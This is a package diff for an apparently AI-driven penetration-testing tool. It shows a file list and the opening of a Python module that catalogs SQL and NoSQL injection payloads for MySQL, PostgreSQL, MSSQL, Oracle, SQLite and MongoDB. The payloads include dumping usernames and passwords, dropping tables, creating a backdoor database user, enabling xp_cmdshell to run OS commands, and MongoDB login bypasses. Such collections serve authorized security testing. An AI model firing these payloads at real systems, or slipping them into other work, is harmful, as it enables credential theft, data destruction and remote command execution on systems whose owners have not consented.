zen-ai-pentest 2.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agents/__init__.py +28 -0
- agents/agent_base.py +239 -0
- agents/agent_orchestrator.py +346 -0
- agents/analysis_agent.py +225 -0
- agents/cli.py +258 -0
- agents/exploit_agent.py +224 -0
- agents/integration.py +211 -0
- agents/post_scan_agent.py +937 -0
- agents/react_agent.py +384 -0
- agents/react_agent_enhanced.py +616 -0
- agents/react_agent_vm.py +298 -0
- agents/research_agent.py +176 -0
- api/__init__.py +11 -0
- api/auth.py +123 -0
- api/main.py +1027 -0
- api/schemas.py +357 -0
- api/websocket.py +97 -0
- autonomous/__init__.py +122 -0
- autonomous/agent.py +253 -0
- autonomous/agent_loop.py +1370 -0
- autonomous/exploit_validator.py +1537 -0
- autonomous/memory.py +448 -0
- autonomous/react.py +339 -0
- autonomous/tool_executor.py +488 -0
- backends/__init__.py +16 -0
- backends/chatgpt_direct.py +133 -0
- backends/claude_direct.py +130 -0
- backends/duckduckgo.py +138 -0
- backends/openrouter.py +120 -0
- benchmarks/__init__.py +149 -0
- benchmarks/benchmark_engine.py +904 -0
- benchmarks/ci_benchmark.py +785 -0
- benchmarks/comparison.py +729 -0
- benchmarks/metrics.py +553 -0
- benchmarks/run_benchmarks.py +809 -0
- ci_cd/__init__.py +2 -0
- core/__init__.py +17 -0
- core/async_pool.py +282 -0
- core/asyncio_fix.py +222 -0
- core/cache.py +472 -0
- core/container.py +277 -0
- core/database.py +114 -0
- core/input_validator.py +353 -0
- core/models.py +288 -0
- core/orchestrator.py +611 -0
- core/plugin_manager.py +571 -0
- core/rate_limiter.py +405 -0
- core/secure_config.py +328 -0
- core/shield_integration.py +296 -0
- modules/__init__.py +46 -0
- modules/cve_database.py +362 -0
- modules/exploit_assist.py +330 -0
- modules/nuclei_integration.py +480 -0
- modules/osint.py +604 -0
- modules/protonvpn.py +554 -0
- modules/recon.py +165 -0
- modules/sql_injection_db.py +826 -0
- modules/tool_orchestrator.py +498 -0
- modules/vuln_scanner.py +292 -0
- modules/wordlist_generator.py +566 -0
- risk_engine/__init__.py +99 -0
- risk_engine/business_impact.py +267 -0
- risk_engine/business_impact_calculator.py +563 -0
- risk_engine/cvss.py +156 -0
- risk_engine/epss.py +190 -0
- risk_engine/example_usage.py +294 -0
- risk_engine/false_positive_engine.py +1073 -0
- risk_engine/scorer.py +304 -0
- web_ui/backend/main.py +471 -0
- zen_ai_pentest-2.0.0.dist-info/METADATA +795 -0
- zen_ai_pentest-2.0.0.dist-info/RECORD +75 -0
- zen_ai_pentest-2.0.0.dist-info/WHEEL +5 -0
- zen_ai_pentest-2.0.0.dist-info/entry_points.txt +2 -0
- zen_ai_pentest-2.0.0.dist-info/licenses/LICENSE +21 -0
- zen_ai_pentest-2.0.0.dist-info/top_level.txt +10 -0
|
@@ -0,0 +1,826 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
SQL Injection Database Module
|
|
4
|
+
Comprehensive SQL injection payloads, techniques and detection
|
|
5
|
+
Author: SHAdd0WTAka
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import asyncio
|
|
9
|
+
import base64
|
|
10
|
+
import logging
|
|
11
|
+
import urllib.parse
|
|
12
|
+
from dataclasses import dataclass
|
|
13
|
+
from enum import Enum
|
|
14
|
+
from typing import Dict, List, Optional, Tuple
|
|
15
|
+
|
|
16
|
+
logger = logging.getLogger("ZenAI")
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
class DBType(Enum):
|
|
20
|
+
"""Database types"""
|
|
21
|
+
|
|
22
|
+
MYSQL = "mysql"
|
|
23
|
+
POSTGRESQL = "postgresql"
|
|
24
|
+
MSSQL = "mssql"
|
|
25
|
+
ORACLE = "oracle"
|
|
26
|
+
SQLITE = "sqlite"
|
|
27
|
+
MONGODB = "mongodb" # NoSQL
|
|
28
|
+
REDIS = "redis" # NoSQL
|
|
29
|
+
GENERIC = "generic"
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
class SQLITechnique(Enum):
|
|
33
|
+
"""SQL Injection techniques"""
|
|
34
|
+
|
|
35
|
+
ERROR_BASED = "error_based"
|
|
36
|
+
UNION_BASED = "union_based"
|
|
37
|
+
BLIND_BOOLEAN = "blind_boolean"
|
|
38
|
+
BLIND_TIME = "blind_time"
|
|
39
|
+
STACKED_QUERIES = "stacked_queries"
|
|
40
|
+
OUT_OF_BAND = "out_of_band"
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
@dataclass
|
|
44
|
+
class SQLPayload:
|
|
45
|
+
"""SQL Injection payload"""
|
|
46
|
+
|
|
47
|
+
name: str
|
|
48
|
+
payload: str
|
|
49
|
+
technique: SQLITechnique
|
|
50
|
+
db_type: DBType
|
|
51
|
+
severity: str
|
|
52
|
+
description: str
|
|
53
|
+
expected_result: str
|
|
54
|
+
encoded_variants: Dict[str, str] = None
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
@dataclass
|
|
58
|
+
class SQLInjectionFinding:
|
|
59
|
+
"""SQL Injection finding"""
|
|
60
|
+
|
|
61
|
+
url: str
|
|
62
|
+
parameter: str
|
|
63
|
+
technique: SQLITechnique
|
|
64
|
+
db_type: DBType
|
|
65
|
+
payload: str
|
|
66
|
+
evidence: str
|
|
67
|
+
severity: str = "Critical"
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
class SQLInjectionDatabase:
|
|
71
|
+
"""
|
|
72
|
+
Comprehensive SQL Injection Database
|
|
73
|
+
Contains payloads for various databases and techniques
|
|
74
|
+
"""
|
|
75
|
+
|
|
76
|
+
def __init__(self, orchestrator=None):
|
|
77
|
+
self.orchestrator = orchestrator
|
|
78
|
+
self.payloads = self._initialize_payloads()
|
|
79
|
+
self.findings = []
|
|
80
|
+
|
|
81
|
+
def _initialize_payloads(
|
|
82
|
+
self,
|
|
83
|
+
) -> Dict[DBType, Dict[SQLITechnique, List[SQLPayload]]]:
|
|
84
|
+
"""Initialize the payload database"""
|
|
85
|
+
payloads = {}
|
|
86
|
+
|
|
87
|
+
for db in DBType:
|
|
88
|
+
payloads[db] = {}
|
|
89
|
+
for tech in SQLITechnique:
|
|
90
|
+
payloads[db][tech] = []
|
|
91
|
+
|
|
92
|
+
# === MySQL Payloads ===
|
|
93
|
+
payloads[DBType.MYSQL][SQLITechnique.ERROR_BASED] = [
|
|
94
|
+
SQLPayload(
|
|
95
|
+
name="MySQL Error - Single Quote",
|
|
96
|
+
payload="'",
|
|
97
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
98
|
+
db_type=DBType.MYSQL,
|
|
99
|
+
severity="Critical",
|
|
100
|
+
description="Basic error detection with single quote",
|
|
101
|
+
expected_result="MySQL error message revealing SQL syntax",
|
|
102
|
+
),
|
|
103
|
+
SQLPayload(
|
|
104
|
+
name="MySQL Error - Double Quote",
|
|
105
|
+
payload='"',
|
|
106
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
107
|
+
db_type=DBType.MYSQL,
|
|
108
|
+
severity="Critical",
|
|
109
|
+
description="Error detection with double quote",
|
|
110
|
+
expected_result="MySQL error message",
|
|
111
|
+
),
|
|
112
|
+
SQLPayload(
|
|
113
|
+
name="MySQL Error - AND 1=1",
|
|
114
|
+
payload=" AND 1=1",
|
|
115
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
116
|
+
db_type=DBType.MYSQL,
|
|
117
|
+
severity="High",
|
|
118
|
+
description="Boolean-based detection",
|
|
119
|
+
expected_result="Query executes normally",
|
|
120
|
+
),
|
|
121
|
+
SQLPayload(
|
|
122
|
+
name="MySQL Error - AND 1=2",
|
|
123
|
+
payload=" AND 1=2",
|
|
124
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
125
|
+
db_type=DBType.MYSQL,
|
|
126
|
+
severity="High",
|
|
127
|
+
description="Boolean-based false condition",
|
|
128
|
+
expected_result="No results or different page",
|
|
129
|
+
),
|
|
130
|
+
SQLPayload(
|
|
131
|
+
name="MySQL Error - Divide by Zero",
|
|
132
|
+
payload=" OR 1/0--",
|
|
133
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
134
|
+
db_type=DBType.MYSQL,
|
|
135
|
+
severity="High",
|
|
136
|
+
description="Generate error via divide by zero",
|
|
137
|
+
expected_result="Division by zero error",
|
|
138
|
+
),
|
|
139
|
+
]
|
|
140
|
+
|
|
141
|
+
payloads[DBType.MYSQL][SQLITechnique.UNION_BASED] = [
|
|
142
|
+
SQLPayload(
|
|
143
|
+
name="MySQL Union - 1 Column",
|
|
144
|
+
payload=" UNION SELECT NULL--",
|
|
145
|
+
technique=SQLITechnique.UNION_BASED,
|
|
146
|
+
db_type=DBType.MYSQL,
|
|
147
|
+
severity="Critical",
|
|
148
|
+
description="Union select with 1 column",
|
|
149
|
+
expected_result="Union query executed",
|
|
150
|
+
),
|
|
151
|
+
SQLPayload(
|
|
152
|
+
name="MySQL Union - Version",
|
|
153
|
+
payload=" UNION SELECT @@version--",
|
|
154
|
+
technique=SQLITechnique.UNION_BASED,
|
|
155
|
+
db_type=DBType.MYSQL,
|
|
156
|
+
severity="Critical",
|
|
157
|
+
description="Extract database version",
|
|
158
|
+
expected_result="MySQL version displayed",
|
|
159
|
+
),
|
|
160
|
+
SQLPayload(
|
|
161
|
+
name="MySQL Union - User",
|
|
162
|
+
payload=" UNION SELECT user()--",
|
|
163
|
+
technique=SQLITechnique.UNION_BASED,
|
|
164
|
+
db_type=DBType.MYSQL,
|
|
165
|
+
severity="Critical",
|
|
166
|
+
description="Extract current user",
|
|
167
|
+
expected_result="Database username",
|
|
168
|
+
),
|
|
169
|
+
SQLPayload(
|
|
170
|
+
name="MySQL Union - Database",
|
|
171
|
+
payload=" UNION SELECT database()--",
|
|
172
|
+
technique=SQLITechnique.UNION_BASED,
|
|
173
|
+
db_type=DBType.MYSQL,
|
|
174
|
+
severity="Critical",
|
|
175
|
+
description="Extract database name",
|
|
176
|
+
expected_result="Database name displayed",
|
|
177
|
+
),
|
|
178
|
+
SQLPayload(
|
|
179
|
+
name="MySQL Union - All Tables",
|
|
180
|
+
payload=" UNION SELECT table_name FROM information_schema.tables--",
|
|
181
|
+
technique=SQLITechnique.UNION_BASED,
|
|
182
|
+
db_type=DBType.MYSQL,
|
|
183
|
+
severity="Critical",
|
|
184
|
+
description="Extract all table names",
|
|
185
|
+
expected_result="List of tables",
|
|
186
|
+
),
|
|
187
|
+
SQLPayload(
|
|
188
|
+
name="MySQL Union - Columns from Table",
|
|
189
|
+
payload=" UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
|
|
190
|
+
technique=SQLITechnique.UNION_BASED,
|
|
191
|
+
db_type=DBType.MYSQL,
|
|
192
|
+
severity="Critical",
|
|
193
|
+
description="Extract column names from users table",
|
|
194
|
+
expected_result="List of columns",
|
|
195
|
+
),
|
|
196
|
+
SQLPayload(
|
|
197
|
+
name="MySQL Union - Dump Users",
|
|
198
|
+
payload=" UNION SELECT CONCAT(username,':',password) FROM users--",
|
|
199
|
+
technique=SQLITechnique.UNION_BASED,
|
|
200
|
+
db_type=DBType.MYSQL,
|
|
201
|
+
severity="Critical",
|
|
202
|
+
description="Dump username and password from users table",
|
|
203
|
+
expected_result="User credentials",
|
|
204
|
+
),
|
|
205
|
+
]
|
|
206
|
+
|
|
207
|
+
payloads[DBType.MYSQL][SQLITechnique.BLIND_TIME] = [
|
|
208
|
+
SQLPayload(
|
|
209
|
+
name="MySQL Time - Sleep 5",
|
|
210
|
+
payload="' OR SLEEP(5)--",
|
|
211
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
212
|
+
db_type=DBType.MYSQL,
|
|
213
|
+
severity="Critical",
|
|
214
|
+
description="Time-based detection with 5 second delay",
|
|
215
|
+
expected_result="Response delayed by 5 seconds",
|
|
216
|
+
),
|
|
217
|
+
SQLPayload(
|
|
218
|
+
name="MySQL Time - Benchmark",
|
|
219
|
+
payload="' OR BENCHMARK(5000000,MD5(1))--",
|
|
220
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
221
|
+
db_type=DBType.MYSQL,
|
|
222
|
+
severity="Critical",
|
|
223
|
+
description="CPU-intensive benchmark for time delay",
|
|
224
|
+
expected_result="Response delayed due to CPU load",
|
|
225
|
+
),
|
|
226
|
+
SQLPayload(
|
|
227
|
+
name="MySQL Time - Conditional",
|
|
228
|
+
payload="' OR IF(1=1,SLEEP(5),0)--",
|
|
229
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
230
|
+
db_type=DBType.MYSQL,
|
|
231
|
+
severity="Critical",
|
|
232
|
+
description="Conditional time delay",
|
|
233
|
+
expected_result="5 second delay if condition is true",
|
|
234
|
+
),
|
|
235
|
+
]
|
|
236
|
+
|
|
237
|
+
payloads[DBType.MYSQL][SQLITechnique.BLIND_BOOLEAN] = [
|
|
238
|
+
SQLPayload(
|
|
239
|
+
name="MySQL Boolean - Length Check",
|
|
240
|
+
payload="' AND LENGTH(DATABASE())=1--",
|
|
241
|
+
technique=SQLITechnique.BLIND_BOOLEAN,
|
|
242
|
+
db_type=DBType.MYSQL,
|
|
243
|
+
severity="High",
|
|
244
|
+
description="Check database name length",
|
|
245
|
+
expected_result="True if database name length matches",
|
|
246
|
+
),
|
|
247
|
+
SQLPayload(
|
|
248
|
+
name="MySQL Boolean - Substring",
|
|
249
|
+
payload="' AND SUBSTRING(DATABASE(),1,1)='a'--",
|
|
250
|
+
technique=SQLITechnique.BLIND_BOOLEAN,
|
|
251
|
+
db_type=DBType.MYSQL,
|
|
252
|
+
severity="High",
|
|
253
|
+
description="Extract database name character by character",
|
|
254
|
+
expected_result="True if character matches",
|
|
255
|
+
),
|
|
256
|
+
]
|
|
257
|
+
|
|
258
|
+
payloads[DBType.MYSQL][SQLITechnique.STACKED_QUERIES] = [
|
|
259
|
+
SQLPayload(
|
|
260
|
+
name="MySQL Stacked - Drop Table",
|
|
261
|
+
payload="'; DROP TABLE users--",
|
|
262
|
+
technique=SQLITechnique.STACKED_QUERIES,
|
|
263
|
+
db_type=DBType.MYSQL,
|
|
264
|
+
severity="Critical",
|
|
265
|
+
description="Stacked query to drop table (destructive!)",
|
|
266
|
+
expected_result="Table dropped (test in safe environment only)",
|
|
267
|
+
),
|
|
268
|
+
SQLPayload(
|
|
269
|
+
name="MySQL Stacked - Create User",
|
|
270
|
+
payload="'; CREATE USER 'hacker'@'localhost' IDENTIFIED BY 'password'--",
|
|
271
|
+
technique=SQLITechnique.STACKED_QUERIES,
|
|
272
|
+
db_type=DBType.MYSQL,
|
|
273
|
+
severity="Critical",
|
|
274
|
+
description="Create backdoor user",
|
|
275
|
+
expected_result="New user created",
|
|
276
|
+
),
|
|
277
|
+
]
|
|
278
|
+
|
|
279
|
+
# === PostgreSQL Payloads ===
|
|
280
|
+
payloads[DBType.POSTGRESQL][SQLITechnique.ERROR_BASED] = [
|
|
281
|
+
SQLPayload(
|
|
282
|
+
name="PostgreSQL Error - Cast",
|
|
283
|
+
payload="::integer",
|
|
284
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
285
|
+
db_type=DBType.POSTGRESQL,
|
|
286
|
+
severity="Critical",
|
|
287
|
+
description="PostgreSQL cast error",
|
|
288
|
+
expected_result="PostgreSQL type cast error",
|
|
289
|
+
),
|
|
290
|
+
SQLPayload(
|
|
291
|
+
name="PostgreSQL Error - Version",
|
|
292
|
+
payload="'||version()||'",
|
|
293
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
294
|
+
db_type=DBType.POSTGRESQL,
|
|
295
|
+
severity="High",
|
|
296
|
+
description="Extract version via concatenation",
|
|
297
|
+
expected_result="PostgreSQL version in error",
|
|
298
|
+
),
|
|
299
|
+
]
|
|
300
|
+
|
|
301
|
+
payloads[DBType.POSTGRESQL][SQLITechnique.UNION_BASED] = [
|
|
302
|
+
SQLPayload(
|
|
303
|
+
name="PostgreSQL Union - Version",
|
|
304
|
+
payload=" UNION SELECT version()--",
|
|
305
|
+
technique=SQLITechnique.UNION_BASED,
|
|
306
|
+
db_type=DBType.POSTGRESQL,
|
|
307
|
+
severity="Critical",
|
|
308
|
+
description="Extract PostgreSQL version",
|
|
309
|
+
expected_result="PostgreSQL version",
|
|
310
|
+
),
|
|
311
|
+
SQLPayload(
|
|
312
|
+
name="PostgreSQL Union - Current User",
|
|
313
|
+
payload=" UNION SELECT current_user--",
|
|
314
|
+
technique=SQLITechnique.UNION_BASED,
|
|
315
|
+
db_type=DBType.POSTGRESQL,
|
|
316
|
+
severity="Critical",
|
|
317
|
+
description="Extract current user",
|
|
318
|
+
expected_result="Current database user",
|
|
319
|
+
),
|
|
320
|
+
SQLPayload(
|
|
321
|
+
name="PostgreSQL Union - Tables",
|
|
322
|
+
payload=" UNION SELECT table_name FROM information_schema.tables--",
|
|
323
|
+
technique=SQLITechnique.UNION_BASED,
|
|
324
|
+
db_type=DBType.POSTGRESQL,
|
|
325
|
+
severity="Critical",
|
|
326
|
+
description="Extract all table names",
|
|
327
|
+
expected_result="List of tables",
|
|
328
|
+
),
|
|
329
|
+
]
|
|
330
|
+
|
|
331
|
+
payloads[DBType.POSTGRESQL][SQLITechnique.BLIND_TIME] = [
|
|
332
|
+
SQLPayload(
|
|
333
|
+
name="PostgreSQL Time - Sleep",
|
|
334
|
+
payload="'; SELECT pg_sleep(5)--",
|
|
335
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
336
|
+
db_type=DBType.POSTGRESQL,
|
|
337
|
+
severity="Critical",
|
|
338
|
+
description="Time-based with pg_sleep",
|
|
339
|
+
expected_result="5 second delay",
|
|
340
|
+
),
|
|
341
|
+
SQLPayload(
|
|
342
|
+
name="PostgreSQL Time - Heavy Query",
|
|
343
|
+
payload="'; SELECT (SELECT COUNT(*) FROM generate_series(1,10000000))--",
|
|
344
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
345
|
+
db_type=DBType.POSTGRESQL,
|
|
346
|
+
severity="Critical",
|
|
347
|
+
description="CPU-intensive query for delay",
|
|
348
|
+
expected_result="Response delayed",
|
|
349
|
+
),
|
|
350
|
+
]
|
|
351
|
+
|
|
352
|
+
# === MSSQL Payloads ===
|
|
353
|
+
payloads[DBType.MSSQL][SQLITechnique.ERROR_BASED] = [
|
|
354
|
+
SQLPayload(
|
|
355
|
+
name="MSSQL Error - CONVERT",
|
|
356
|
+
payload="' AND 1=CONVERT(int,@@version)--",
|
|
357
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
358
|
+
db_type=DBType.MSSQL,
|
|
359
|
+
severity="Critical",
|
|
360
|
+
description="MSSQL convert error reveals version",
|
|
361
|
+
expected_result="MSSQL version in error",
|
|
362
|
+
),
|
|
363
|
+
SQLPayload(
|
|
364
|
+
name="MSSQL Error - Cast",
|
|
365
|
+
payload="' AND 1=CAST(@@version AS int)--",
|
|
366
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
367
|
+
db_type=DBType.MSSQL,
|
|
368
|
+
severity="Critical",
|
|
369
|
+
description="MSSQL cast error",
|
|
370
|
+
expected_result="MSSQL version in error",
|
|
371
|
+
),
|
|
372
|
+
]
|
|
373
|
+
|
|
374
|
+
payloads[DBType.MSSQL][SQLITechnique.UNION_BASED] = [
|
|
375
|
+
SQLPayload(
|
|
376
|
+
name="MSSQL Union - Version",
|
|
377
|
+
payload=" UNION SELECT @@version--",
|
|
378
|
+
technique=SQLITechnique.UNION_BASED,
|
|
379
|
+
db_type=DBType.MSSQL,
|
|
380
|
+
severity="Critical",
|
|
381
|
+
description="Extract MSSQL version",
|
|
382
|
+
expected_result="SQL Server version",
|
|
383
|
+
),
|
|
384
|
+
SQLPayload(
|
|
385
|
+
name="MSSQL Union - User",
|
|
386
|
+
payload=" UNION SELECT SYSTEM_USER--",
|
|
387
|
+
technique=SQLITechnique.UNION_BASED,
|
|
388
|
+
db_type=DBType.MSSQL,
|
|
389
|
+
severity="Critical",
|
|
390
|
+
description="Extract system user",
|
|
391
|
+
expected_result="Current system user",
|
|
392
|
+
),
|
|
393
|
+
SQLPayload(
|
|
394
|
+
name="MSSQL Union - Databases",
|
|
395
|
+
payload=" UNION SELECT name FROM master.dbo.sysdatabases--",
|
|
396
|
+
technique=SQLITechnique.UNION_BASED,
|
|
397
|
+
db_type=DBType.MSSQL,
|
|
398
|
+
severity="Critical",
|
|
399
|
+
description="List all databases",
|
|
400
|
+
expected_result="All database names",
|
|
401
|
+
),
|
|
402
|
+
]
|
|
403
|
+
|
|
404
|
+
payloads[DBType.MSSQL][SQLITechnique.BLIND_TIME] = [
|
|
405
|
+
SQLPayload(
|
|
406
|
+
name="MSSQL Time - WAITFOR",
|
|
407
|
+
payload="'; WAITFOR DELAY '0:0:5'--",
|
|
408
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
409
|
+
db_type=DBType.MSSQL,
|
|
410
|
+
severity="Critical",
|
|
411
|
+
description="Time-based with WAITFOR",
|
|
412
|
+
expected_result="5 second delay",
|
|
413
|
+
),
|
|
414
|
+
]
|
|
415
|
+
|
|
416
|
+
payloads[DBType.MSSQL][SQLITechnique.STACKED_QUERIES] = [
|
|
417
|
+
SQLPayload(
|
|
418
|
+
name="MSSQL Stacked - Enable XP_CMDSHELL",
|
|
419
|
+
payload="'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--",
|
|
420
|
+
technique=SQLITechnique.STACKED_QUERIES,
|
|
421
|
+
db_type=DBType.MSSQL,
|
|
422
|
+
severity="Critical",
|
|
423
|
+
description="Enable xp_cmdshell for RCE",
|
|
424
|
+
expected_result="xp_cmdshell enabled",
|
|
425
|
+
),
|
|
426
|
+
SQLPayload(
|
|
427
|
+
name="MSSQL Stacked - Execute Command",
|
|
428
|
+
payload="'; EXEC xp_cmdshell 'whoami'--",
|
|
429
|
+
technique=SQLITechnique.STACKED_QUERIES,
|
|
430
|
+
db_type=DBType.MSSQL,
|
|
431
|
+
severity="Critical",
|
|
432
|
+
description="Execute OS command via xp_cmdshell",
|
|
433
|
+
expected_result="Command output",
|
|
434
|
+
),
|
|
435
|
+
]
|
|
436
|
+
|
|
437
|
+
# === Oracle Payloads ===
|
|
438
|
+
payloads[DBType.ORACLE][SQLITechnique.ERROR_BASED] = [
|
|
439
|
+
SQLPayload(
|
|
440
|
+
name="Oracle Error - UTL_INADDR",
|
|
441
|
+
payload="' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT banner FROM v$version WHERE rownum=1))--",
|
|
442
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
443
|
+
db_type=DBType.ORACLE,
|
|
444
|
+
severity="Critical",
|
|
445
|
+
description="Oracle error-based extraction",
|
|
446
|
+
expected_result="Oracle version in error",
|
|
447
|
+
),
|
|
448
|
+
]
|
|
449
|
+
|
|
450
|
+
payloads[DBType.ORACLE][SQLITechnique.UNION_BASED] = [
|
|
451
|
+
SQLPayload(
|
|
452
|
+
name="Oracle Union - Version",
|
|
453
|
+
payload=" UNION SELECT banner FROM v$version WHERE rownum=1--",
|
|
454
|
+
technique=SQLITechnique.UNION_BASED,
|
|
455
|
+
db_type=DBType.ORACLE,
|
|
456
|
+
severity="Critical",
|
|
457
|
+
description="Extract Oracle version",
|
|
458
|
+
expected_result="Oracle version",
|
|
459
|
+
),
|
|
460
|
+
SQLPayload(
|
|
461
|
+
name="Oracle Union - User",
|
|
462
|
+
payload=" UNION SELECT user FROM dual--",
|
|
463
|
+
technique=SQLITechnique.UNION_BASED,
|
|
464
|
+
db_type=DBType.ORACLE,
|
|
465
|
+
severity="Critical",
|
|
466
|
+
description="Extract current user",
|
|
467
|
+
expected_result="Current Oracle user",
|
|
468
|
+
),
|
|
469
|
+
]
|
|
470
|
+
|
|
471
|
+
payloads[DBType.ORACLE][SQLITechnique.BLIND_TIME] = [
|
|
472
|
+
SQLPayload(
|
|
473
|
+
name="Oracle Time - DBMS_LOCK",
|
|
474
|
+
payload="' AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM dual)--",
|
|
475
|
+
technique=SQLITechnique.BLIND_TIME,
|
|
476
|
+
db_type=DBType.ORACLE,
|
|
477
|
+
severity="Critical",
|
|
478
|
+
description="Time-based with DBMS_LOCK.SLEEP",
|
|
479
|
+
expected_result="5 second delay",
|
|
480
|
+
),
|
|
481
|
+
]
|
|
482
|
+
|
|
483
|
+
# === SQLite Payloads ===
|
|
484
|
+
payloads[DBType.SQLITE][SQLITechnique.UNION_BASED] = [
|
|
485
|
+
SQLPayload(
|
|
486
|
+
name="SQLite Union - Version",
|
|
487
|
+
payload=" UNION SELECT sqlite_version()--",
|
|
488
|
+
technique=SQLITechnique.UNION_BASED,
|
|
489
|
+
db_type=DBType.SQLITE,
|
|
490
|
+
severity="Critical",
|
|
491
|
+
description="Extract SQLite version",
|
|
492
|
+
expected_result="SQLite version",
|
|
493
|
+
),
|
|
494
|
+
SQLPayload(
|
|
495
|
+
name="SQLite Union - Tables",
|
|
496
|
+
payload=" UNION SELECT tbl_name FROM sqlite_master WHERE type='table'--",
|
|
497
|
+
technique=SQLITechnique.UNION_BASED,
|
|
498
|
+
db_type=DBType.SQLITE,
|
|
499
|
+
severity="Critical",
|
|
500
|
+
description="Extract table names",
|
|
501
|
+
expected_result="List of tables",
|
|
502
|
+
),
|
|
503
|
+
]
|
|
504
|
+
|
|
505
|
+
# === NoSQL (MongoDB) Payloads ===
|
|
506
|
+
payloads[DBType.MONGODB][SQLITechnique.ERROR_BASED] = [
|
|
507
|
+
SQLPayload(
|
|
508
|
+
name="MongoDB - $ne Operator",
|
|
509
|
+
payload='{"username": {"$ne": null}, "password": {"$ne": null}}',
|
|
510
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
511
|
+
db_type=DBType.MONGODB,
|
|
512
|
+
severity="Critical",
|
|
513
|
+
description="NoSQL injection with $ne operator",
|
|
514
|
+
expected_result="Authentication bypass",
|
|
515
|
+
),
|
|
516
|
+
SQLPayload(
|
|
517
|
+
name="MongoDB - $gt Operator",
|
|
518
|
+
payload='{"username": {"$gt": ""}, "password": {"$gt": ""}}',
|
|
519
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
520
|
+
db_type=DBType.MONGODB,
|
|
521
|
+
severity="Critical",
|
|
522
|
+
description="NoSQL injection with $gt operator",
|
|
523
|
+
expected_result="Authentication bypass",
|
|
524
|
+
),
|
|
525
|
+
SQLPayload(
|
|
526
|
+
name="MongoDB - $regex",
|
|
527
|
+
payload='{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}',
|
|
528
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
529
|
+
db_type=DBType.MONGODB,
|
|
530
|
+
severity="Critical",
|
|
531
|
+
description="NoSQL injection with $regex",
|
|
532
|
+
expected_result="Authentication bypass",
|
|
533
|
+
),
|
|
534
|
+
]
|
|
535
|
+
|
|
536
|
+
# === Generic Payloads ===
|
|
537
|
+
payloads[DBType.GENERIC][SQLITechnique.ERROR_BASED] = [
|
|
538
|
+
SQLPayload(
|
|
539
|
+
name="Generic - Single Quote",
|
|
540
|
+
payload="'",
|
|
541
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
542
|
+
db_type=DBType.GENERIC,
|
|
543
|
+
severity="High",
|
|
544
|
+
description="Basic single quote test",
|
|
545
|
+
expected_result="SQL error",
|
|
546
|
+
),
|
|
547
|
+
SQLPayload(
|
|
548
|
+
name="Generic - Double Quote",
|
|
549
|
+
payload='"',
|
|
550
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
551
|
+
db_type=DBType.GENERIC,
|
|
552
|
+
severity="High",
|
|
553
|
+
description="Double quote test",
|
|
554
|
+
expected_result="SQL error",
|
|
555
|
+
),
|
|
556
|
+
SQLPayload(
|
|
557
|
+
name="Generic - Backslash",
|
|
558
|
+
payload="\\",
|
|
559
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
560
|
+
db_type=DBType.GENERIC,
|
|
561
|
+
severity="High",
|
|
562
|
+
description="Backslash escape test",
|
|
563
|
+
expected_result="SQL error",
|
|
564
|
+
),
|
|
565
|
+
SQLPayload(
|
|
566
|
+
name="Generic - Comment",
|
|
567
|
+
payload="--",
|
|
568
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
569
|
+
db_type=DBType.GENERIC,
|
|
570
|
+
severity="Medium",
|
|
571
|
+
description="Comment injection",
|
|
572
|
+
expected_result="Query terminated",
|
|
573
|
+
),
|
|
574
|
+
SQLPayload(
|
|
575
|
+
name="Generic - Semicolon",
|
|
576
|
+
payload=";",
|
|
577
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
578
|
+
db_type=DBType.GENERIC,
|
|
579
|
+
severity="High",
|
|
580
|
+
description="Stacked query attempt",
|
|
581
|
+
expected_result="Error or second query executed",
|
|
582
|
+
),
|
|
583
|
+
]
|
|
584
|
+
|
|
585
|
+
return payloads
|
|
586
|
+
|
|
587
|
+
def get_payloads(
|
|
588
|
+
self, db_type: DBType = None, technique: SQLITechnique = None
|
|
589
|
+
) -> List[SQLPayload]:
|
|
590
|
+
"""Get payloads filtered by database type and/or technique"""
|
|
591
|
+
results = []
|
|
592
|
+
|
|
593
|
+
dbs = [db_type] if db_type else list(DBType)
|
|
594
|
+
techs = [technique] if technique else list(SQLITechnique)
|
|
595
|
+
|
|
596
|
+
for db in dbs:
|
|
597
|
+
for tech in techs:
|
|
598
|
+
if db in self.payloads and tech in self.payloads[db]:
|
|
599
|
+
results.extend(self.payloads[db][tech])
|
|
600
|
+
|
|
601
|
+
return results
|
|
602
|
+
|
|
603
|
+
